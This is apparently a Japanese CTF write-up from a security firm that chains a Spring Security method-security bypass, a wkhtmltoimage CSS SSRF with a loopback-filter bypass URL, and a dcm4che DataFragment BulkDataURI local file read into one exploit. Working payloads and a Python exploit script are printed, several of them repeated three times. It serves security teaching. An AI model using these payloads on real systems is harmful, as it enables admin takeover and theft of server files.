本問題は、Java/Spring ベースのエンタープライズアプリケーションで発見される可能性のあるフレームワークレベルのセキュリティ脆弱性と、医療ドメイン特化型フォーマットである DICOM のパース脆弱性を組み合わせ、攻撃チェーンを構築する能力を評価するために作成されました。

  1. Spring Security メソッドセキュリティ回避 (CVE-2025-41248): Java ジェネリクスと継承構造において発生するメソッドセキュリティ適用漏れを特定し、一般ユーザー権限で管理者機能にアクセスできるかどうかを評価します。

  2. SSRF を通じた内部機能へのアクセス: wkhtmltoimage のレンダリング過程で CSS を利用した SSRF を実行し、URL パーサーの混同を通じてループバック保護を回避できるかどうかを評価します。

  3. DICOM JSON Model の DataFragment パス解析脆弱性: dcm4che の BulkDataURI 処理の差分を分析し、セキュリティフックが適用されない DataFragment パスを見つけ、これを利用してローカルファイルを読み取れるか検証します。

解法

1. サービス構造の把握

提供されたソースコード(Docker 構成)を分析すると、以下のような構成が確認できます。

  • Spring Boot ウェブアプリケーション (ポート 3000): 医療ロボット営業支援システム (SFA)

  • wkhtmltoimage: HTML を画像に変換するレンダリングツール (Xvfb 上で動作)

  • DICOM JSON を .dcm ファイルに変換する機能

  • フラグはコンテナの /tmp/flag に配置 (70バイト)

主要機能には、ログイン、画像の書き出し (/file/export_card)、DICOM ファイル変換 (/file/convert_medical) などがあります。

2. ステップ 1 — CVE-2025-41248: Spring Security メソッドセキュリティ回避

/file/export_card コントローラーはログインの成否のみを確認し、実際の管理者制限はサービスメソッドの @PreAuthorize("hasRole('ADMIN')") に依存しています。問題となる型階層は以下の通りです。

HtmlToImageConversionService<A, B>          ← @PreAuthorize("hasRole('ADMIN')")
  └─ AbstractConversionService<B>           ← implements ...Service<String, B>; @Override convertToImage
       └─ HtmlToImageConversionServiceImpl  ← extends AbstractConversionService<String>

HtmlToImageConversionService<A, B>          ← @PreAuthorize("hasRole('ADMIN')")
  └─ AbstractConversionService<B>           ← implements ...Service<String, B>; @Override convertToImage
       └─ HtmlToImageConversionServiceImpl  ← extends AbstractConversionService<String>

HtmlToImageConversionService<A, B>          ← @PreAuthorize("hasRole('ADMIN')")
  └─ AbstractConversionService<B>           ← implements ...Service<String, B>; @Override convertToImage
       └─ HtmlToImageConversionServiceImpl  ← extends AbstractConversionService<String>

ここで convertToImage() は、最上位のインターフェースにのみセキュリティアノテーションが存在し、実際の実装体はジェネリクスの継承構造を通じてこれを間接的に継承しています。CVE-2025-41248 は、このような型パラメータを持つ階層構造(parameterized type hierarchy)において、Spring Security のアノテーション検出が正しく動作せず、メソッドセキュリティが漏洩してしまう問題です。

その結果、ROLE_USER に該当する user1 アカウントでも、本来は管理者のみが使用するべき export_card 機能を呼び出すことができます。

3. ステップ 2 — SSRF: ループバック回避

export_card API は、wkhtmltoimage を使用して HTML を画像としてレンダリングします。この過程で CSS の @import url(...) 構文が処理されるため、任意の URL に向けてサーバー側のリクエストを誘導することができます。

アプリケーションはサニタイザーを通じて localhost127.0.0.1 のようなループバックアドレスを遮断しようとしますが、この検査は URL の authority を厳密にパースせず、直接的なループバックリテラルのみを判別します。そのため、以下のような URL パーサーの混同(confusion)手法を用いて回避が可能です。

<http://example.com%5B@127.0.0.1:3000/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin>
<http://example.com%5B@127.0.0.1:3000/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin>
<http://example.com%5B@127.0.0.1:3000/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin>
  • %5B[ の URL エンコードです。

  • HtmlSanitizer はホストを example.com としてパースし、ループバックの遮断を通過します。

  • 実際の HTTP クライアントは @ より前の部分を userinfo、127.0.0.1:3000 をホストとして認識し、ループバックに向けてリクエストを送信します。

この SSRF を通じて admin アカウントのパスワードを初期化します。

datahtml = (
    f'<html><head><style>@import url("<http://example.com>%5B@{SSRF_HOST}'
    f'/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin");'
    f"</style></head><body>reset</body></html>"
)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})
datahtml = (
    f'<html><head><style>@import url("<http://example.com>%5B@{SSRF_HOST}'
    f'/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin");'
    f"</style></head><body>reset</body></html>"
)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})
datahtml = (
    f'<html><head><style>@import url("<http://example.com>%5B@{SSRF_HOST}'
    f'/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin");'
    f"</style></head><body>reset</body></html>"
)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

パスワード初期化後、admin アカウントでログインをします。

4. ステップ 3 — DICOM DataFragment BulkDataURI を利用した LFI

admin 権限でアクセス可能な /file/convert_medical エンドポイントは、JSON を DICOM ファイルに変換します。内部的には dcm4che ライブラリの JSONReader を使用しています。

dcm4che は DICOM JSON Model の仕様に従って BulkDataURI フィールドをサポートしており、file:// スキームを使用するとローカルファイルを読み取ることができます。しかし、アプリケーションのコード側において setBulkDataCreator() により http:https: スキームのみを許容するリゾルバーが登録されているため、トップレベル属性の BulkDataURI は遮断されます。

回避ルート — DataFragment:

dcm4che JSONReaderDataFragment 処理ルートでは、new BulkData(...)直接生成 するため、setBulkDataCreator() のフックを回避します。DICOM JSON Model の仕様において、DataFragment は encapsulated pixel data を表現する構造です。

{
  "00100010": { "vr": "PN", "Value": [{"Alphabetic": "FlagReport"}] },
  "7FE00010": {
    "vr": "OB",
    "DataFragment": [
      null,
      {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
    ]
  }
}
{
  "00100010": { "vr": "PN", "Value": [{"Alphabetic": "FlagReport"}] },
  "7FE00010": {
    "vr": "OB",
    "DataFragment": [
      null,
      {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
    ]
  }
}
{
  "00100010": { "vr": "PN", "Value": [{"Alphabetic": "FlagReport"}] },
  "7FE00010": {
    "vr": "OB",
    "DataFragment": [
      null,
      {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
    ]
  }
}

DataFragment 構造の解説:

  • DataFragment[0] = Basic Offset Table (シングルフレームの場合は null)

  • DataFragment[1+] = 実際のデータフラグメント (InlineBinary または BulkDataURI)

null が必ず必要となる理由は、dcm4che の JSONReader が配列の最初の要素を offset table として消費するためです。null が存在しない場合、BulkDataURI が offset table として誤って処理されてしまいます。

また、dcm4che の BulkData クラスは URI から offsetlength のクエリパラメータをパースします。本問題におけるフラグの長さは 70 バイトであるため、全体を読み取るには length=70 を指定する必要があります。

5. エクスプロイトの実行

一連の攻撃プロセスを自動化したエクスプロイトコードは以下の通りです。

# 1. user1でログイン
user.post(f"{BASE}/auth/login",
    data="EMP_ID=user1&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 2. SSRFでadminのパスワードを初期化 (CVE-2025-41248を用いてexport_cardにアクセス)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

# 3. adminでログイン
admin.post(f"{BASE}/auth/login",
    data="EMP_ID=admin&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 4. DataFragment BulkDataURIを用いてフラグファイルを読み取る
med = admin.post(f"{BASE}/file/convert_medical",
    json={
        "00100010": {"vr": "PN", "Value": [{"Alphabetic": "FlagReport"}]},
        "7FE00010": {
            "vr": "OB",
            "DataFragment": [
                None, # null
                {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
            ]
        }
    })

# 5. DICOMファイルをダウンロード → フラグを抽出
fid = med.json()["data"][0]["FILE_ID"]
blob = admin.get(f"{BASE}/file/link_{fid}.dcm")
# 1. user1でログイン
user.post(f"{BASE}/auth/login",
    data="EMP_ID=user1&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 2. SSRFでadminのパスワードを初期化 (CVE-2025-41248を用いてexport_cardにアクセス)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

# 3. adminでログイン
admin.post(f"{BASE}/auth/login",
    data="EMP_ID=admin&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 4. DataFragment BulkDataURIを用いてフラグファイルを読み取る
med = admin.post(f"{BASE}/file/convert_medical",
    json={
        "00100010": {"vr": "PN", "Value": [{"Alphabetic": "FlagReport"}]},
        "7FE00010": {
            "vr": "OB",
            "DataFragment": [
                None, # null
                {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
            ]
        }
    })

# 5. DICOMファイルをダウンロード → フラグを抽出
fid = med.json()["data"][0]["FILE_ID"]
blob = admin.get(f"{BASE}/file/link_{fid}.dcm")
# 1. user1でログイン
user.post(f"{BASE}/auth/login",
    data="EMP_ID=user1&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 2. SSRFでadminのパスワードを初期化 (CVE-2025-41248を用いてexport_cardにアクセス)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

# 3. adminでログイン
admin.post(f"{BASE}/auth/login",
    data="EMP_ID=admin&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 4. DataFragment BulkDataURIを用いてフラグファイルを読み取る
med = admin.post(f"{BASE}/file/convert_medical",
    json={
        "00100010": {"vr": "PN", "Value": [{"Alphabetic": "FlagReport"}]},
        "7FE00010": {
            "vr": "OB",
            "DataFragment": [
                None, # null
                {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
            ]
        }
    })

# 5. DICOMファイルをダウンロード → フラグを抽出
fid = med.json()["data"][0]["FILE_ID"]
blob = admin.get(f"{BASE}/file/link_{fid}.dcm")

ダウンロードされた DICOM ファイルからフラグ ENKI{70fdfaf2d4f48c8afc9de13c4c92ea02b4afc1a1d73a13e581024546e2cee53b} を抽出することができます。

総合評

本問題は、単一の脆弱性を見つけるだけで完了するものではなく、サービスのシステム構造を分析した上で、性質の異なる様々な脆弱性を段階的に組み合わせて最終目標にアプローチするプロセスを評価するために設計されました。序盤は一般ユーザー権限の下で露出している機能やアクセス制御の構造を把握し、それに基づき Spring Security メソッドセキュリティ回避を行うことで管理者専用の機能に到達できるよう構成されています。

核心となる意図は、フレームワークレベルにおける権限制御の回避、画像レンダリングプロセスでの SSRF、そして DICOM パーサーにおける DataFragment 処理の欠陥を、1 つの攻撃チェーンとして統合することにあります。個別の脆弱性に対する単なる知識だけでは解決が難しく、アプリケーションロジック、内部機能呼出しの手順、ライブラリの細かな動作を複合的に分析し、実際の実用的な攻撃ルートを完成させられるかを検証することを目的としました。

エンキホワイトハット

エンキホワイトハット

ENKI ホワイトハット
ENKI ホワイトハット

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

関連記事

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.